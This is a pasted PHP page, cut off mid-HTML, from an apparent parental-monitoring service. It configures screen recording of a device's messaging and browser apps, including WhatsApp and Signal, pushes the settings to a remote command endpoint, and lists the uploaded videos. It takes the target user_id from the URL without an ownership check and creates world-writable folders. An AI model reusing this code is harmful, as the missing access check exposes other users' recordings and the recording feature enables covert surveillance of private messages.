📄 plaintext public

Untitled Paste

Guest 1h ago 3 views Text Paste
Raw
📄 plaintext
1
<?php
2
session_start();
3
include 'config.php';
4
include 'protector.php';
5
 
6
if(!isset($_SESSION["user_id"])){
7
    header("Location: login.php");
8
    exit();
9
}
10
 
11
$childId = isset($_GET['user_id']) ? intval($_GET['user_id']) : $_SESSION['user_id'];
12
 
13
$targetDir = __DIR__ . "/uploads/videos/user_" . $childId;
14
$webDir = "uploads/videos/user_" . $childId;
15
 
16
if (!is_dir($targetDir)) {
17
    mkdir($targetDir, 0777, true);
18
}
19
 
20
// --- READ CONFIGURATION ---
21
$selected_apps = [];
22
$upload_condition = 0; // 0=always, 1=charging, 2=wifi
23
$pending_count = 0;
24
$is_charging = false;
25
$last_charging_check = null;
26
 
27
try {
28
    // Read apps
29
    $stmt = $conn->prepare("SELECT target_apps FROM feature_video_mode WHERE user_id = :uid LIMIT 1");
30
    $stmt->execute([':uid' => $childId]);
31
    $settings = $stmt->fetch(PDO::FETCH_ASSOC);
32
 
33
    if ($settings && !empty($settings['target_apps'])) {
34
        $selected_apps = explode(',', $settings['target_apps']);
35
    }
36
 
37
    // Read upload condition
38
    $stmt2 = $conn->prepare("SELECT upload_condition FROM feature_video_mode WHERE user_id = :uid LIMIT 1");
39
    $stmt2->execute([':uid' => $childId]);
40
    $uploadSettings = $stmt2->fetch(PDO::FETCH_ASSOC);
41
    if ($uploadSettings && isset($uploadSettings['upload_condition'])) {
42
        $upload_condition = intval($uploadSettings['upload_condition']);
43
    }
44
 
45
    // Read pending count from device
46
    $stmt3 = $conn->prepare("SELECT pending_count FROM video_pending_counts WHERE user_id = :uid LIMIT 1");
47
    $stmt3->execute([':uid' => $childId]);
48
    $pendingSettings = $stmt3->fetch(PDO::FETCH_ASSOC);
49
    if ($pendingSettings && isset($pendingSettings['pending_count'])) {
50
        $pending_count = intval($pendingSettings['pending_count']);
51
    }
52
 
53
    // Read current charging status from settings
54
    $stmt4 = $conn->prepare("SELECT is_charging, last_seen FROM settings WHERE user_id = :uid LIMIT 1");
55
    $stmt4->execute([':uid' => $childId]);
56
    $deviceSettings = $stmt4->fetch(PDO::FETCH_ASSOC);
57
    if ($deviceSettings) {
58
        $is_charging = isset($deviceSettings['is_charging']) ? $deviceSettings['is_charging'] : false;
59
        $last_charging_check = $deviceSettings['last_seen'] ?? null;
60
    }
61
} catch (Exception $e) {}
62
 
63
// --- AJAX SAVE ---
64
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['ajax_save'])) {
65
    $apps_array = isset($_POST['apps']) ? (is_array($_POST['apps']) ? $_POST['apps'] : explode(',', $_POST['apps'])) : [];
66
    $target_apps_string = implode(',', $apps_array);
67
    $upload_condition_val = isset($_POST['upload_condition']) ? intval($_POST['upload_condition']) : 0;
68
 
69
    try {
70
        $sql = "INSERT INTO feature_video_mode (user_id, target_apps, upload_condition)
71
                VALUES (:uid, :apps, :upload_condition)
72
                ON DUPLICATE KEY UPDATE target_apps = :apps2, upload_condition = :upload_condition2";
73
        $stmt = $conn->prepare($sql);
74
        $stmt->execute([
75
            ':uid' => $childId,
76
            ':apps' => $target_apps_string,
77
            ':upload_condition' => $upload_condition_val,
78
            ':apps2' => $target_apps_string,
79
            ':upload_condition2' => $upload_condition_val
80
        ]);
81
 
82
        // Απενεργοποίησε auto screenshots (για να μην τρέχουν παράλληλα)
83
        $sql2 = "INSERT INTO feature_auto_screenshots (user_id, is_enabled, interval_sec, target_apps)
84
                 VALUES (:uid, 0, 10, '')
85
                 ON DUPLICATE KEY UPDATE is_enabled = 0";
86
        $stmt2 = $conn->prepare($sql2);
87
        $stmt2->execute([':uid' => $childId]);
88
 
89
        $ch = curl_init();
90
        curl_setopt($ch, CURLOPT_URL, "https://kidsprotect.live/send_command.php");
91
        curl_setopt($ch, CURLOPT_POST, 1);
92
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
93
            'user_id' => $childId,
94
            'command' => 'update_video_mode',
95
            'enabled' => '1',
96
            'apps' => $target_apps_string,
97
            'upload_condition' => $upload_condition_val,
98
            'disable_screenshots' => '1'
99
        ]));
100
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
101
        curl_setopt($ch, CURLOPT_TIMEOUT, 10);
102
        curl_exec($ch);
103
        curl_close($ch);
104
 
105
        header('Content-Type: application/json');
106
        echo json_encode(['success' => true]);
107
        exit();
108
    } catch (Exception $e) {
109
        header('Content-Type: application/json');
110
        echo json_encode(['success' => false, 'error' => $e->getMessage()]);
111
        exit();
112
    }
113
}
114
 
115
// --- DELETE SINGLE VIDEO ---
116
if (isset($_POST['delete_video'])) {
117
    $videoFile = basename($_POST['delete_video']);
118
    $filePath = $targetDir . '/' . $videoFile;
119
    if (file_exists($filePath)) unlink($filePath);
120
    header("Location: video_mode.php?user_id=" . $childId);
121
    exit();
122
}
123
 
124
// --- DELETE ALL VIDEOS ---
125
if (isset($_POST['delete_all'])) {
126
    $files = glob($targetDir . '/*.mp4');
127
    foreach ($files as $file) if (is_file($file)) unlink($file);
128
    header("Location: video_mode.php?user_id=" . $childId);
129
    exit();
130
}
131
 
132
// --- SCAN VIDEOS ---
133
$videos = [];
134
if (is_dir($targetDir)) {
135
    $files = scandir($targetDir);
136
    foreach ($files as $file) {
137
        if ($file !== '.' && $file !== '..' && pathinfo($file, PATHINFO_EXTENSION) === 'mp4') {
138
            $filePath = $targetDir . '/' . $file;
139
 
140
            $appDetected = 'unknown';
141
            if (stripos($file, 'whatsapp') !== false) $appDetected = 'whatsapp';
142
            elseif (stripos($file, 'telegram') !== false) $appDetected = 'telegram';
143
            elseif (stripos($file, 'messenger') !== false) $appDetected = 'messenger';
144
            elseif (stripos($file, 'viber') !== false) $appDetected = 'viber';
145
            elseif (stripos($file, 'instagram') !== false) $appDetected = 'instagram';
146
            elseif (stripos($file, 'facebook') !== false) $appDetected = 'facebook';
147
            elseif (stripos($file, 'wechat') !== false) $appDetected = 'wechat';
148
            elseif (stripos($file, 'kakao') !== false || stripos($file, 'kakaotalk') !== false) $appDetected = 'kakaotalk';
149
            elseif (stripos($file, 'discord') !== false) $appDetected = 'discord';
150
            elseif (stripos($file, 'signal') !== false) $appDetected = 'signal';
151
            elseif (stripos($file, 'gmail') !== false) $appDetected = 'gmail';
152
            elseif (stripos($file, 'chrome') !== false) $appDetected = 'chrome';
153
            elseif (stripos($file, 'youtube') !== false) $appDetected = 'youtube';
154
            elseif (stripos($file, 'firefox') !== false) $appDetected = 'firefox';
155
 
156
            $size = filesize($filePath);
157
            $sizeFormatted = $size > 1048576 ? round($size / 1048576, 1) . ' MB' : round($size / 1024, 1) . ' KB';
158
 
159
            $videos[] = [
160
                'name' => $file,
161
                'url' => $webDir . '/' . $file,
162
                'time' => filemtime($filePath),
163
                'size' => $sizeFormatted,
164
                'app' => $appDetected
165
            ];
166
        }
167
    }
168
    usort($videos, function($a, $b) { return $b['time'] - $a['time']; });
169
}
170
?>
171
<!DOCTYPE html>
172
<html lang="en">
173
<head>
174
    <meta charset="UTF-8">
175
    <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no">
176
    <title>Video Mode</title>
177
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
178
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
179
    <style>
180
        body { background: #020617; color: white; padding: 15px 10px; font-family: sans-serif; }
181
        .config-card { background: #111827; border: 1px solid #1e293b; border-radius: 20px; padding: 20px; max-width: 650px; margin: auto; }
182
 
183
        .app-row { background: #020617; border: 1px solid #1e293b; border-radius: 12px; padding: 8px 10px; margin-bottom: 6px; display: flex; align-items: center; justify-content: space-between; }
184
        .app-info { display: flex; align-items: center; gap: 8px; }
185
        .app-info i { font-size: 0.9rem; width: 20px; text-align: center; }
186
        .app-info span { font-size: 12px; }
187
 
188
        /* Custom Switch - ON = ΠΡΑΣΙΝΟ, OFF = ΚΟΚΚΙΝΟ */
189
        .custom-switch { position: relative; display: inline-block; width: 40px; height: 22px; flex-shrink: 0; }
190
        .custom-switch input { opacity: 0; width: 0; height: 0; }
191
        .custom-slider { position: absolute; cursor: pointer; top: 0; left: 0; right: 0; bottom: 0; background-color: #ef4444; transition: 0.3s; border-radius: 22px; }
192
        .custom-slider:before { position: absolute; content: ""; height: 18px; width: 18px; left: 2px; bottom: 2px; background-color: white; transition: 0.3s; border-radius: 50%; }
193
        input:checked + .custom-slider { background-color: #22c55e; }
194
        input:checked + .custom-slider:before { transform: translateX(18px); }
195
 
196
        /* Gallery Grid Styles - 3 columns on mobile */
197
        .gallery-grid {
198
            display: grid;
199
            grid-template-columns: repeat(3, 1fr);
200
            gap: 12px;
201
        }
202
        .gallery-item {
203
            background: #111827;
204
            border: 1px solid #1e293b;
205
            border-radius: 12px;
206
            overflow: hidden;
207
            transition: all 0.2s;
208
            position: relative;
209
        }
210
        .thumbnail {
211
            width: 100%;
212
            aspect-ratio: 16/9;
213
            background: #111827;
214
            position: relative;
215
            display: flex;
216
            align-items: center;
217
            justify-content: center;
218
            cursor: pointer;
219
            flex-direction: column;
220
            gap: 8px;
221
        }
222
        .thumbnail i {
223
            font-size: 3rem;
224
        }
225
        .thumbnail .play-icon {
226
            position: absolute;
227
            font-size: 2rem;
228
            color: white;
229
            opacity: 0.8;
230
            text-shadow: 0 2px 4px rgba(0,0,0,0.5);
231
        }
232
        .gallery-item-info {
233
            padding: 8px;
234
            background: #1e293b;
235
        }
236
        .gallery-app-icon {
237
            display: flex;
238
            align-items: center;
239
            justify-content: center;
240
            gap: 6px;
241
            margin-bottom: 4px;
242
        }
243
        .gallery-app-icon i {
244
            font-size: 0.9rem;
245
        }
246
        .gallery-size {
247
            font-size: 0.65rem;
248
            color: #94a3b8;
249
            text-align: center;
250
        }
251
        .gallery-time {
252
            font-size: 0.6rem;
253
            color: #64748b;
254
            text-align: center;
255
        }
256
        .gallery-actions {
257
            display: flex;
258
            justify-content: center;
259
            gap: 12px;
260
            margin-top: 6px;
261
            padding-top: 6px;
262
            border-top: 1px solid #334155;
263
        }
264
        .gallery-actions button, .gallery-actions a {
265
            background: none;
266
            border: none;
267
            color: #94a3b8;
268
            font-size: 0.75rem;
269
            cursor: pointer;
270
            padding: 4px 6px;
271
            border-radius: 6px;
272
            transition: all 0.2s;
273
            text-decoration: none;
274
        }
275
        .gallery-actions button:hover, .gallery-actions a:hover {
276
            background: #334155;
277
            color: white;
278
        }
279
        .gallery-actions .btn-delete:hover {
280
            color: #ef4444;
281
        }
282
 
283
        /* Modal Styles - Better for mobile */
284
        .video-modal {
285
            display: none;
286
            position: fixed;
287
            z-index: 9999;
288
            left: 0;
289
            top: 0;
290
            width: 100%;
291
            height: 100%;
292
            background-color: rgba(0,0,0,0.95);
293
            animation: fadeIn 0.3s;
294
        }
295
        .video-modal-content {
296
            position: relative;
297
            width: 100%;
298
            height: 100%;
299
            display: flex;
300
            align-items: center;
301
            justify-content: center;
302
        }
303
        .video-modal-content video {
304
            width: 100%;
305
            max-height: 100%;
306
            background: #000;
307
        }
308
        .close-modal {
309
            position: absolute;
310
            top: 15px;
311
            right: 20px;
312
            color: white;
313
            font-size: 40px;
314
            font-weight: bold;
315
            cursor: pointer;
316
            z-index: 10000;
317
            background: rgba(0,0,0,0.5);
318
            width: 50px;
319
            height: 50px;
320
            display: flex;
321
            align-items: center;
322
            justify-content: center;
323
            border-radius: 50%;
324
        }
325
        .close-modal:hover {
326
            color: #ef4444;
327
            background: rgba(0,0,0,0.8);
328
        }
329
        @keyframes fadeIn {
330
            from { opacity: 0; }
331
            to { opacity: 1; }
332
        }
333
 
334
        .filter-btn { background: #111827; border: 1px solid #1e293b; color: #94a3b8; padding: 5px 12px; border-radius: 20px; font-size: 0.7rem; transition: all 0.2s; }
335
        .filter-btn:hover, .filter-btn.active { background: #ef4444; border-color: #ef4444; color: white; }
336
 
337
        .toast-msg { position: fixed; bottom: 24px; right: 24px; background: #22c55e; padding: 10px 16px; border-radius: 40px; color: white; display: none; z-index: 9999; font-size: 0.8rem; align-items: center; gap: 8px; }
338
        .toast-msg.error { background: #ef4444; }
339
 
340
        .apps-grid { display: grid; grid-template-columns: 1fr 1fr; gap: 6px; margin-top: 8px; }
341
        @media (max-width: 480px) { .apps-grid { grid-template-columns: 1fr; } }
342
 
343
        /* Accordion styles */
344
        .accordion-header {
345
            background: #111827;
346
            border: 1px solid #1e293b;
347
            border-radius: 12px;
348
            padding: 12px 15px;
349
            cursor: pointer;
350
            display: flex;
351
            justify-content: space-between;
352
            align-items: center;
353
            margin-bottom: 0;
354
            transition: all 0.2s;
355
        }
356
        .accordion-header:hover {
357
            background: #1e293b;
358
            border-color: #3b82f6;
359
        }
360
        .accordion-header .accordion-title {
361
            font-size: 0.8rem;
362
            font-weight: 600;
363
            text-transform: uppercase;
364
            letter-spacing: 0.5px;
365
            color: #94a3b8;
366
        }
367
        .accordion-header i {
368
            color: #3b82f6;
369
            transition: transform 0.3s;
370
        }
371
        .accordion-content {
372
            max-height: 0;
373
            overflow: hidden;
374
            transition: max-height 0.3s ease-out;
375
            background: #020617;
376
            border-radius: 12px;
377
            margin-top: 0;
378
        }
379
        .accordion-content.open {
380
            max-height: 800px;
381
            transition: max-height 0.5s ease-in;
382
        }
383
        .apps-grid-wrapper {
384
            padding: 12px 0 0 0;
385
        }
386
 
387
        /* Upload Accordion styles */
388
        .upload-accordion-header {
389
            background: #111827;
390
            border: 1px solid #1e293b;
391
            border-radius: 12px;
392
            padding: 12px 15px;
393
            cursor: pointer;
394
            display: flex;
395
            justify-content: space-between;
396
            align-items: center;
397
            margin-bottom: 0;
398
            transition: all 0.2s;
399
            margin-top: 20px;
400
        }
401
        .upload-accordion-header:hover {
402
            background: #1e293b;
403
            border-color: #3b82f6;
404
        }
405
        .upload-accordion-header .accordion-title {
406
            font-size: 0.8rem;
407
            font-weight: 600;
408
            text-transform: uppercase;
409
            letter-spacing: 0.5px;
410
            color: #94a3b8;
411
        }
412
        .upload-accordion-header i {
413
            color: #3b82f6;
414
            transition: transform 0.3s;
415
        }
416
        .upload-accordion-content {
417
            max-height: 0;
418
            overflow: hidden;
419
            transition: max-height 0.3s ease-out;
420
            background: #020617;
421
            border-radius: 12px;
422
            margin-top: 0;
423
        }
424
        .upload-accordion-content.open {
425
            max-height: 400px;
426
            transition: max-height 0.5s ease-in;
427
        }
428
        .upload-grid-wrapper {
429
            padding: 12px 0 0 0;
430
        }
431
 
432
        /* Radio group styles */
433
        .radio-group {
434
            background: #020617;
435
            border-radius: 12px;
436
            padding: 4px;
437
        }
438
        .radio-option {
439
            display: flex;
440
            align-items: center;
441
            padding: 8px 12px;
442
            margin-bottom: 4px;
443
            border-radius: 10px;
444
            cursor: pointer;
445
            transition: all 0.2s;
446
            background: #111827;
447
            border: 1px solid #1e293b;
448
        }
449
        .radio-option:hover {
450
            background: #1e293b;
451
            border-color: #3b82f6;
452
        }
453
        .radio-option input {
454
            width: 16px;
455
            height: 16px;
456
            margin-right: 12px;
457
            accent-color: #3b82f6;
458
        }
459
        .radio-option label {
460
            flex: 1;
461
            cursor: pointer;
462
            font-size: 0.8rem;
463
            font-weight: 500;
464
            margin: 0;
465
        }
466
        .radio-option small {
467
            font-size: 0.65rem;
468
            color: #64748b;
469
        }
470
 
471
        .social-fb { color: #1877f2; }
472
        .social-msg { color: #0084ff; }
473
        .social-viber { color: #7360f2; }
474
        .social-insta { color: #e1306c; }
475
        .social-wa { color: #25d366; }
476
        .social-tg { color: #229ed9; }
477
        .social-wechat { color: #2b9c2b; }
478
        .social-chrome { color: #db4437; }
479
        .social-youtube { color: #ff0000; }
480
        .social-firefox { color: #ff9400; }
481
        .social-kakao { color: #F9E000; }
482
        .social-discord { color: #5865F2; }
483
        .social-signal { color: #3A76F0; }
484
        .social-gmail { color: #EA4335; }
485
 
486
        /* Pending badge styles */
487
        .pending-badge {
488
            background: #f59e0b;
489
            color: #000;
490
            font-size: 0.7rem;
491
            font-weight: bold;
492
            padding: 2px 8px;
493
            border-radius: 20px;
494
            margin-left: 8px;
495
        }
496
        .pending-warning {
497
            background: #ef4444;
498
            color: white;
499
            font-size: 0.7rem;
500
            padding: 4px 10px;
501
            border-radius: 20px;
502
            display: inline-flex;
503
            align-items: center;
504
            gap: 6px;
505
        }
506
        .pending-warning i {
507
            font-size: 0.7rem;
508
        }
509
 
510
        /* App logo colors for thumbnails */
511
        .thumb-wa { color: #25d366; }
512
        .thumb-tg { color: #229ed9; }
513
        .thumb-msg { color: #0084ff; }
514
        .thumb-viber { color: #7360f2; }
515
        .thumb-insta { color: #e1306c; }
516
        .thumb-fb { color: #1877f2; }
517
        .thumb-wechat { color: #2b9c2b; }
518
        .thumb-kakao { color: #F9E000; text-shadow: 0 0 2px #000; }
519
        .thumb-discord { color: #5865F2; }
520
        .thumb-signal { color: #3A76F0; }
521
        .thumb-gmail { color: #EA4335; }
522
        .thumb-chrome { color: #db4437; }
523
        .thumb-yt { color: #ff0000; }
524
        .thumb-ff { color: #ff9400; }
525
 
526
        /* Charging indicator badge */
527
        .charging-indicator-badge {
528
            display: inline-flex;
529
            align-items: center;
530
            gap: 8px;
531
            background: #1e293b;
532
            padding: 8px 15px;
533
            border-radius: 40px;
534
            margin-bottom: 15px;
535
            width: 100%;
536
            justify-content: center;
537
            font-size: 0.8rem;
538
            border: 1px solid #334155;
539
        }
540
        .charging-indicator-badge.charging {
541
            background: rgba(34, 197, 94, 0.15);
542
            border-color: #22c55e;
543
        }
544
        .charging-indicator-badge.not-charging {
545
            background: rgba(239, 68, 68, 0.15);
546
            border-color: #ef4444;
547
        }
548
        .charging-indicator-badge i {
549
            font-size: 1rem;
550
        }
551
 
552
        /* Force check button style */
553
        .force-charge-btn {
554
            background: linear-gradient(135deg, #f59e0b, #d97706);
555
            border: none;
556
            border-radius: 40px;
557
            padding: 8px 16px;
558
            color: white;
559
            font-weight: 600;
560
            font-size: 0.75rem;
561
            cursor: pointer;
562
            transition: all 0.2s ease;
563
            display: inline-flex;
564
            align-items: center;
565
            gap: 8px;
566
            width: 100%;
567
            justify-content: center;
568
            margin-top: 12px;
569
        }
570
        .force-charge-btn:hover {
571
            background: linear-gradient(135deg, #d97706, #b45309);
572
            transform: scale(1.01);
573
        }
574
        .force-charge-btn:active {
575
            transform: scale(0.98);
576
        }
577
        .force-charge-btn i {
578
            font-size: 0.8rem;
579
        }
580
    </style>
581
</head>
582
<body>
583
 
584
<div class="container">
585
    <div class="config-card">
586
        <div class="d-flex justify-content-between align-items-center mb-3">
587
            <a href="dashboard.php" class="btn btn-sm btn-dark"><i class="fas fa-chevron-left"></i> BACK</a>
588
            <span class="small text-secondary fw-bold">UID: <?php echo $childId; ?></span>
589
        </div>
590
 
591
        <h4 class="fw-bold text-center text-danger mb-3" style="font-size: 1.2rem;"><i class="fas fa-video me-2"></i>Video Mode</h4>
592
 
593
        <!-- APPS TO RECORD - Accordion (closed by default) -->
594
        <div class="mb-3">
595
            <div class="accordion-header" onclick="toggleAccordion()">
596
                <span class="accordion-title"><i class="fas fa-mobile-alt me-2"></i>APPS TO RECORD</span>
597
                <i id="accordionIcon" class="fas fa-chevron-down"></i>
598
            </div>
599
            <div id="accordionContent" class="accordion-content">
600
                <div class="apps-grid-wrapper">
601
                    <div class="apps-grid">
602
                        <!-- WhatsApp -->
603
                        <div class="app-row"><div class="app-info"><i class="fab fa-whatsapp social-wa"></i><span>WhatsApp</span></div>
604
                            <label class="custom-switch"><input type="checkbox" class="app-toggle" value="whatsapp" <?php echo in_array('whatsapp', $selected_apps) ? 'checked' : ''; ?>><span class="custom-slider"></span></label></div>
605
                        <!-- Telegram -->
606
                        <div class="app-row"><div class="app-info"><i class="fab fa-telegram social-tg"></i><span>Telegram</span></div>
607
                            <label class="custom-switch"><input type="checkbox" class="app-toggle" value="telegram" <?php echo in_array('telegram', $selected_apps) ? 'checked' : ''; ?>><span class="custom-slider"></span></label></div>
608
                        <!-- Messenger -->
609
                        <div class="app-row"><div class="app-info"><i class="fab fa-facebook-messenger social-msg"></i><span>Messenger</span></div>
610
                            <label class="custom-switch"><input type="checkbox" class="app-toggle" value="messenger" <?php echo in_array('messenger', $selected_apps) ? 'checked' : ''; ?>><span class="custom-slider"></span></label></div>
611
                        <!-- Viber -->
612
                        <div class="app-row"><div class="app-info"><i class="fab fa-viber social-viber"></i><span>Viber</span></div>
613
                            <label class="custom-switch"><input type="checkbox" class="app-toggle" value="viber" <?php echo in_array('viber', $selected_apps) ? 'checked' : ''; ?>><span class="custom-slider"></span></label></div>
614
                        <!-- Instagram -->
615
                        <div class="app-row"><div class="app-info"><i class="fab fa-instagram social-insta"></i><span>Instagram</span></div>
616
                            <label class="custom-switch"><input type="checkbox" class="app-toggle" value="instagram" <?php echo in_array('instagram', $selected_apps) ? 'checked' : ''; ?>><span class="custom-slider"></span></label></div>
617
                        <!-- Facebook -->
618
                        <div class="app-row"><div class="app-info"><i class="fab fa-facebook social-fb"></i><span>Facebook</span></div>
619
                            <label class="custom-switch"><input type="checkbox" class="app-toggle" value="facebook" <?php echo in_array('facebook', $selected_apps) ? 'checked' : ''; ?>><span class="custom-slider"></span></label></div>
620
                        <!-- WeChat -->
621
                        <div class="app-row"><div class="app-info"><i class="fab fa-weixin social-wechat"></i><span>WeChat</span></div>
622
                            <label class="custom-switch"><input type="checkbox" class="app-toggle" value="wechat" <?php echo in_array('wechat', $selected_apps) ? 'checked' : ''; ?>><span class="custom-slider"></span></label></div>
623
                        <!-- KakaoTalk -->
624
                        <div class="app-row"><div class="app-info"><i class="fas fa-comment social-kakao"></i><span>KakaoTalk</span></div>
625
                            <label class="custom-switch"><input type="checkbox" class="app-toggle" value="kakaotalk" <?php echo in_array('kakaotalk', $selected_apps) ? 'checked' : ''; ?>><span class="custom-slider"></span></label></div>
626
                        <!-- Discord -->
627
                        <div class="app-row"><div class="app-info"><i class="fab fa-discord social-discord"></i><span>Discord</span></div>
628
                            <label class="custom-switch"><input type="checkbox" class="app-toggle" value="discord" <?php echo in_array('discord', $selected_apps) ? 'checked' : ''; ?>><span class="custom-slider"></span></label></div>
629
                        <!-- Signal -->
630
                        <div class="app-row"><div class="app-info"><i class="fas fa-lock social-signal"></i><span>Signal</span></div>
631
                            <label class="custom-switch"><input type="checkbox" class="app-toggle" value="signal" <?php echo in_array('signal', $selected_apps) ? 'checked' : ''; ?>><span class="custom-slider"></span></label></div>
632
                        <!-- Gmail -->
633
                        <div class="app-row"><div class="app-info"><i class="fas fa-envelope social-gmail"></i><span>Gmail</span></div>
634
                            <label class="custom-switch"><input type="checkbox" class="app-toggle" value="gmail" <?php echo in_array('gmail', $selected_apps) ? 'checked' : ''; ?>><span class="custom-slider"></span></label></div>
635
                        <!-- Chrome -->
636
                        <div class="app-row"><div class="app-info"><i class="fab fa-chrome social-chrome"></i><span>Chrome</span></div>
637
                            <label class="custom-switch"><input type="checkbox" class="app-toggle" value="chrome" <?php echo in_array('chrome', $selected_apps) ? 'checked' : ''; ?>><span class="custom-slider"></span></label></div>
638
                        <!-- YouTube -->
639
                        <div class="app-row"><div class="app-info"><i class="fab fa-youtube social-youtube"></i><span>YouTube</span></div>
640
                            <label class="custom-switch"><input type="checkbox" class="app-toggle" value="youtube" <?php echo in_array('youtube', $selected_apps) ? 'checked' : ''; ?>><span class="custom-slider"></span></label></div>
641
                        <!-- Firefox -->
642
                        <div class="app-row"><div class="app-info"><i class="fab fa-firefox-browser social-firefox"></i><span>Firefox</span></div>
643
                            <label class="custom-switch"><input type="checkbox" class="app-toggle" value="firefox" <?php echo in_array('firefox', $selected_apps) ? 'checked' : ''; ?>><span class="custom-slider"></span></label></div>
644
                    </div>
645
                </div>
646
            </div>
647
        </div>
648
 
649
        <!-- UPLOAD SETTINGS - Accordion (closed by default) -->
650
        <div class="upload-accordion-header" onclick="toggleUploadAccordion()">
651
            <span class="accordion-title"><i class="fas fa-battery-full me-2"></i>UPLOAD SETTINGS</span>
652
            <i id="uploadAccordionIcon" class="fas fa-chevron-down"></i>
653
        </div>
654
        <div id="uploadAccordionContent" class="upload-accordion-content">
655
            <div class="upload-grid-wrapper">
656
                <!-- ========== NEW: CHARGING INDICATOR ========== -->
657
                <?php
658
                $chargingIcon = $is_charging ? 'fa-battery-full' : 'fa-battery-quarter';
659
                $chargingText = $is_charging ? 'CHARGING' : 'NOT CHARGING';
660
                $chargingClass = $is_charging ? 'charging' : 'not-charging';
661
                $chargingColor = $is_charging ? '#22c55e' : '#ef4444';
662
                ?>
663
                <div class="charging-indicator-badge <?php echo $chargingClass; ?>">
664
                    <i class="fas <?php echo $chargingIcon; ?>" style="color: <?php echo $chargingColor; ?>;"></i>
665
                    <span>CURRENT STATUS: <strong id="chargingStatusDisplay" style="color: <?php echo $chargingColor; ?>;"><?php echo $chargingText; ?></strong></span>
666
                    <?php if ($last_charging_check): ?>
667
                    <small style="color: #64748b; font-size: 0.6rem;">(last: <?php echo date("H:i:s", strtotime($last_charging_check)); ?>)</small>
668
                    <?php endif; ?>
669
                </div>
670
                <!-- ========== END CHARGING INDICATOR ========== -->
671
 
672
                <div class="radio-group">
673
                    <div class="radio-option" onclick="document.getElementById('uploadAlways').click()">
674
                        <input type="radio" name="upload_condition" id="uploadAlways" value="0" <?php echo $upload_condition == 0 ? 'checked' : ''; ?>>
675
                        <label>Always (default)</label>
676
                        <small>Upload videos immediately</small>
677
                    </div>
678
                    <div class="radio-option" onclick="document.getElementById('uploadCharging').click()">
679
                        <input type="radio" name="upload_condition" id="uploadCharging" value="1" <?php echo $upload_condition == 1 ? 'checked' : ''; ?>>
680
                        <label><i class="fas fa-plug me-1"></i> Upload only when charging</label>
681
                        <small>Saves battery - videos upload when device is plugged in</small>
682
                    </div>
683
                    <div class="radio-option" onclick="document.getElementById('uploadWifi').click()">
684
                        <input type="radio" name="upload_condition" id="uploadWifi" value="2" <?php echo $upload_condition == 2 ? 'checked' : ''; ?>>
685
                        <label><i class="fas fa-wifi me-1"></i> Upload only on WiFi</label>
686
                        <small>Use WiFi only, no mobile data</small>
687
                    </div>
688
                </div>
689
                <!-- ========== NEW: FORCE CHECK CHARGING BUTTON ========== -->
690
                <button id="forceCheckChargingBtn" class="force-charge-btn">
691
                    <i class="fas fa-bolt"></i> FORCE CHECK CHARGING STATUS
692
                </button>
693
                <!-- ========== END NEW BUTTON ========== -->
694
            </div>
695
        </div>
696
    </div>
697
 
698
    <!-- Videos Section -->
699
    <div class="config-card mt-3" style="max-width: 800px;">
700
        <div class="d-flex justify-content-between align-items-center mb-3 flex-wrap gap-2">
701
            <div>
702
                <i class="fas fa-video me-2 text-danger"></i>
703
                <span class="fw-bold">RECORDED VIDEOS</span>
704
                <span class="badge bg-secondary ms-2" id="videoCount"><?php echo count($videos); ?></span>
705
                <?php
706
                // Display pending count if there are pending videos and upload_condition is not "Always"
707
                if ($pending_count > 0 && $upload_condition != 0) {
708
                    echo '<span class="pending-warning ms-2"><i class="fas fa-hourglass-half"></i> ' . $pending_count . ' pending video' . ($pending_count > 1 ? 's' : '') . ' waiting for ';
709
                    if ($upload_condition == 1) echo 'Charging';
710
                    elseif ($upload_condition == 2) echo 'WiFi';
711
                    echo '</span>';
712
                } elseif ($upload_condition != 0) {
713
                    echo '<span class="pending-warning ms-2"><i class="fas fa-hourglass-half"></i> Pending: Waiting for ';
714
                    if ($upload_condition == 1) echo 'Charging';
715
                    elseif ($upload_condition == 2) echo 'WiFi';
716
                    echo '</span>';
717
                }
718
                ?>
719
            </div>
720
            <div class="d-flex gap-1 flex-wrap">
721
                <button class="filter-btn active" data-filter="all">All</button>
722
                <button class="filter-btn" data-filter="whatsapp"><i class="fab fa-whatsapp social-wa"></i></button>
723
                <button class="filter-btn" data-filter="telegram"><i class="fab fa-telegram social-tg"></i></button>
724
                <button class="filter-btn" data-filter="messenger"><i class="fab fa-facebook-messenger social-msg"></i></button>
725
                <button class="filter-btn" data-filter="viber"><i class="fab fa-viber social-viber"></i></button>
726
                <button class="filter-btn" data-filter="instagram"><i class="fab fa-instagram social-insta"></i></button>
727
                <button class="filter-btn" data-filter="facebook"><i class="fab fa-facebook social-fb"></i></button>
728
                <button class="filter-btn" data-filter="wechat"><i class="fab fa-weixin social-wechat"></i></button>
729
                <button class="filter-btn" data-filter="kakaotalk"><i class="fas fa-comment social-kakao"></i></button>
730
                <button class="filter-btn" data-filter="discord"><i class="fab fa-discord social-discord"></i></button>
731
                <button class="filter-btn" data-filter="signal"><i class="fas fa-lock social-signal"></i></button>
732
                <button class="filter-btn" data-filter="gmail"><i class="fas fa-envelope social-gmail"></i></button>
733
                <button class="filter-btn" data-filter="chrome"><i class="fab fa-chrome social-chrome"></i></button>
734
                <button class="filter-btn" data-filter="youtube"><i class="fab fa-youtube social-youtube"></i></button>
735
                <button class="filter-btn" data-filter="firefox"><i class="fab fa-firefox-browser social-firefox"></i></button>
736
                <button id="refreshBtn" class="filter-btn" style="background: #3b82f6; border-color: #3b82f6;"><i class="fas fa-sync-alt"></i></button>
737
            </div>
738
            <?php if (count($videos) > 0): ?>
739
            <form method="POST" onsubmit="return confirm('Delete ALL videos?');">
740
                <input type="hidden" name="delete_all" value="1">
741
                <button type="submit" class="btn btn-sm btn-outline-danger" style="font-size:0.7rem;"><i class="fas fa-trash-alt me-1"></i>DELETE ALL</button>
742
            </form>
743
            <?php endif; ?>
744
        </div>
745
 
746
        <div id="videosContainer" class="gallery-grid">
747
            <?php if (count($videos) === 0): ?>
748
                <div class="text-center p-4 bg-dark text-muted rounded-3" id="emptyVideosMsg" style="grid-column: 1/-1;">
749
